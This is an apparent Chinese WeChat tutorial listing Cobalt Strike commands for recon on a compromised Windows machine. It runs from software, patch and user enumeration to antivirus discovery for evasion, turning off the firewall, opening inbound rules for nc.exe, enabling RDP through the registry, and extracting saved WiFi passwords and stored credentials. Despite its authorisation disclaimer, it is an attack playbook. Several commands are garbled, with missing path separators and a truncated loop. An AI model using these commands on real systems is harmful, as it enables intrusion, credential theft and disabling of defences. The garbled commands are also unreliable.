友情提示：请勿非法使用！
本文分享的网络安全技术仅供学习交流，严禁用于任何非法用途。请各位谨记，所有渗透测试务必获得授权，否则后果自负，与本公众号及作者无关！切记，切记！
摸清敌情，才能百战不殆！
在网络安全的世界里，信息就是王道。想要玩转 Cobalt Strike，首先得学会如何像 Sherlock Holmes 一样，把目标机器的底裤都摸清楚。今天，咱们就来聊聊 Cobalt Strike 下那些让人眼前一亮的本地信息搜集技巧，绝对是干货中的干货！
1. 网络配置一览：我是谁？我在哪？
想知道肉鸡的网络身份？一条命令搞定：
shell ipconfig 这条命令会像竹筒倒豆子一样，把 IP 地址、子网掩码、网关等信息全都抖搂出来。
2. 操作系统情报：老几？哪个年代的？
想知道肉鸡的操作系统版本？一行代码足矣：
shell systeminfo 这条命令会告诉你操作系统的详细信息，包括版本号、安装日期、补丁情况等等。
3. 架构侦查：我是 32 位还是 64 位？
想知道肉鸡是 32 位还是 64 位？一行命令轻松搞定：
shell echo %PROCESSOR_ARCHITECTURE% 这条命令会直接告诉你 CPU 的架构类型，是 x86 还是 AMD64，一目了然。
4. 软件盘点：都装了啥？
想知道肉鸡上都装了哪些软件，版本号是多少？两条命令任你选：
shell wmic product get name,version 或者，用 PowerShell 也可以：
shell powershell "Get-WmiObject -class win32_product | Select-Object -Property name,version" 这两条命令会列出所有已安装的软件及其版本，方便你寻找潜在的漏洞。
5. 服务巡检：谁在后台默默运行？
想知道肉鸡上都有哪些服务在运行？一行命令搞定：
shell wmic service list brief 这条命令会列出所有正在运行的服务，方便你了解系统的运行状态。
6. 进程快照：看看谁在搞事情！
想知道肉鸡上都有哪些进程在运行？两条命令随便挑：
shell tasklist 或者，你也可以用 WMIC：
shell wmic process list brief 这两条命令会列出所有正在运行的进程，方便你发现可疑的活动。
7. 自启动程序：谁想偷偷上位？
想知道肉鸡开机时都会启动哪些程序？一行命令搞定：
shell wmic startup get command,caption 这条命令会列出所有开机自启动的程序，方便你揪出那些隐藏的恶意软件。
8. 计划任务：定时炸弹？
想知道肉鸡上都设置了哪些计划任务？一行命令搞定：
shell schtasks /query /fo LIST /v 这条命令会列出所有计划任务的详细信息，包括执行时间、执行程序等等，方便你发现潜在的定时威胁。
9. 开机时间：熬了多久了？
想知道肉鸡上次是什么时候开机的？一行命令搞定：
shell net statistics workstation 这条命令会告诉你肉鸡的开机时间，方便你判断系统是否被重启过。
10. 用户信息：都有哪些人？
想知道肉鸡上有哪些用户？两条命令任你选：
shell net user 或者，你也可以用 WMIC：
shell wmic useraccount get name ,SID 这两条命令会列出所有用户的信息，包括用户名、SID 等等。
11. 会话列表：谁在偷偷摸摸？
想知道当前有哪些会话连接到肉鸡？一行命令搞定：
shell net session 这条命令会列出所有活动的会话，方便你发现未经授权的访问。
12. 端口状态：谁在监听？
想知道肉鸡上都有哪些端口在监听？一行命令搞定：
shell netstat -ano 这条命令会列出所有端口的监听状态，包括 PID、协议类型等等，方便你发现潜在的后门。
13. 补丁信息：哪里没穿衣服？
想知道肉鸡上都安装了哪些补丁？两条命令任你选：
shell systeminfo 或者，你也可以用 WMIC：
shell wmic qfe get Caption,Description,HotFixiD,InstalledOn 这两条命令会列出所有已安装的补丁，方便你找到可以利用的漏洞。
14. 杀软情报：谁在保护它？
想知道肉鸡上都安装了哪些杀毒软件？一行命令搞定：
shell wmic /node:localhost /namespace:rootsecuritycenter2 path antivirusproduct get displayname /format:list 这条命令会列出所有已安装的杀毒软件，方便你选择合适的绕过姿势。
15. 共享信息：都有哪些秘密通道？
想知道肉鸡上都开启了哪些共享？两条命令任你选：
shell net share 或者，你也可以用 WMIC：
shell wmic share get name,path,status 这两条命令会列出所有共享的信息，方便你找到可以利用的共享目录。
16. 路由信息：通往哪里的路？
想知道肉鸡的路由信息？一行命令搞定：
shell route print 这条命令会列出肉鸡的路由表，方便你了解网络的拓扑结构。
17. 防火墙状态：铁桶阵？
想知道肉鸡是否开启了防火墙？一行命令搞定：
shell netsh firewall show state 这条命令会告诉你防火墙的状态，是开启还是关闭。
18. 防火墙开关：一键掌控！
(1) Windows Server 2003 及之前版本：
shell netsh firewall set opmode disable (2) Windows Server 2003 之后版本：
shell netsh advfirewall set allprofiles state off 或者，你也可以用更简洁的命令：
shell netsh firewall set opmode disable 注意： 关闭防火墙可能会带来安全风险，请谨慎操作！
(3) 2003 及之前的版本，允许指定的程序进行全部的连接：
shell netsh firewall add allowedprogram c: c.exe "allownc" enable (4) 2003 之后的版本，允许指定的程序进行全部的连接：
shell netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:est.txt" 示例： 假设你想允许 C: c.exe 这个程序通过防火墙，可以使用以下命令：
shell netsh advfirewall firewall add rule name="Allow nc" dir=in action=allow program="C: c.exe" 
(5) 2003 之后的版本，允许指定程序退出：
shell netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C:est.txt" 注意： 请根据实际情况修改程序路径。
(6) 2003 之后的版本，允许 3389 端口放行：
shell netsh advfirewall firewall add rule name="RemoteDesktop" protocol=TCP dir=in localport=3389 action=allow 注意： 3389 端口是远程桌面连接的默认端口，开放此端口可能会带来安全风险，请谨慎操作！
19. 远程桌面端口：默认是 3389 吗？
想知道肉鸡是否开启了远程桌面，端口是多少？
开启本地电脑3389端口：
shell REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 
关闭本地电脑3389端口：
shell REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f 
20. WIFI 密码：打开新世界的大门？
想知道肉鸡连接过的 WIFI 密码？
获取本地电脑的WIFI密码信息：
shell for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles' 或者，
shell netsh wlan show profiles（列出所有连接过的wifi名称） shell netsh wlan show profilename="搜出来的wifi名称" key=clear（获取某个wifi的密码） 步骤详解：
-
首先，使用 netsh wlan show profiles命令列出所有连接过的 WIFI 名称。 -
然后，使用 netsh wlan show profilename="WIFI 名称" key=clear命令获取指定 WIFI 的密码。
21. RDP 端口：远程桌面的钥匙？
查询本地电脑的RDP端口：
shell reg query HKLMsystemcurrentcontrolsetcontrolerminal" "serverwinstations dp-tcp /v portnumber 这条命令会告诉你 RDP 端口号，默认是 3389，但有些管理员会修改它以增加安全性。
22. 凭据管理器：藏了多少秘密？
查询本地电脑当前所保存的凭据：
shell cmdkey /l 这条命令会列出所有保存在凭据管理器中的凭据，包括用户名、密码、目标地址等等。
23. ARP 缓存：谁在跟我说话？
查询本地电脑的arp信息：
shell arp -a 这条命令会列出 ARP 缓存中的所有条目，包括 IP 地址和 MAC 地址的对应关系。
24. 最近打开的文件：都在看啥？
查询本地电脑最近打开的文件：
shell dir %APPDATA%MicrosoftWindowsRecent 这条命令会列出最近打开的文件，可以帮助你了解用户的活动轨迹。
25. 本地工作组：小圈子？
查询本地电脑的本地工作组：
shell net localgroup 这条命令会列出本地工作组的信息，包括组成员等等。
26. RDP 凭据：远程桌面的钥匙串？
查询本地电脑的RDP凭据：
shell dir /a %userprofile%AppDataLocalMicrosoftCredentials* 这条命令会列出 RDP 凭据文件，可以尝试从中提取用户名和密码。
总结：
掌握了这些 Cobalt Strike 本地信息搜集技巧，就像拥有了一双透视眼，可以清晰地看到目标机器的内部结构。记住，信息是网络安全的第一生产力，只有充分了解目标，才能制定出更有效的攻击策略。
再次强调：
请务必在授权的情况下进行渗透测试，切勿以身试法！
希望这篇文章对你有所帮助，如果你觉得有用，请点赞、评论、转发，让更多的人了解这些实用的技巧！
原文始发于微信公众号（龙哥网络安全）：Cobalt Strike 本地信息搜集神技：黑客看了都说“哇塞”！
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论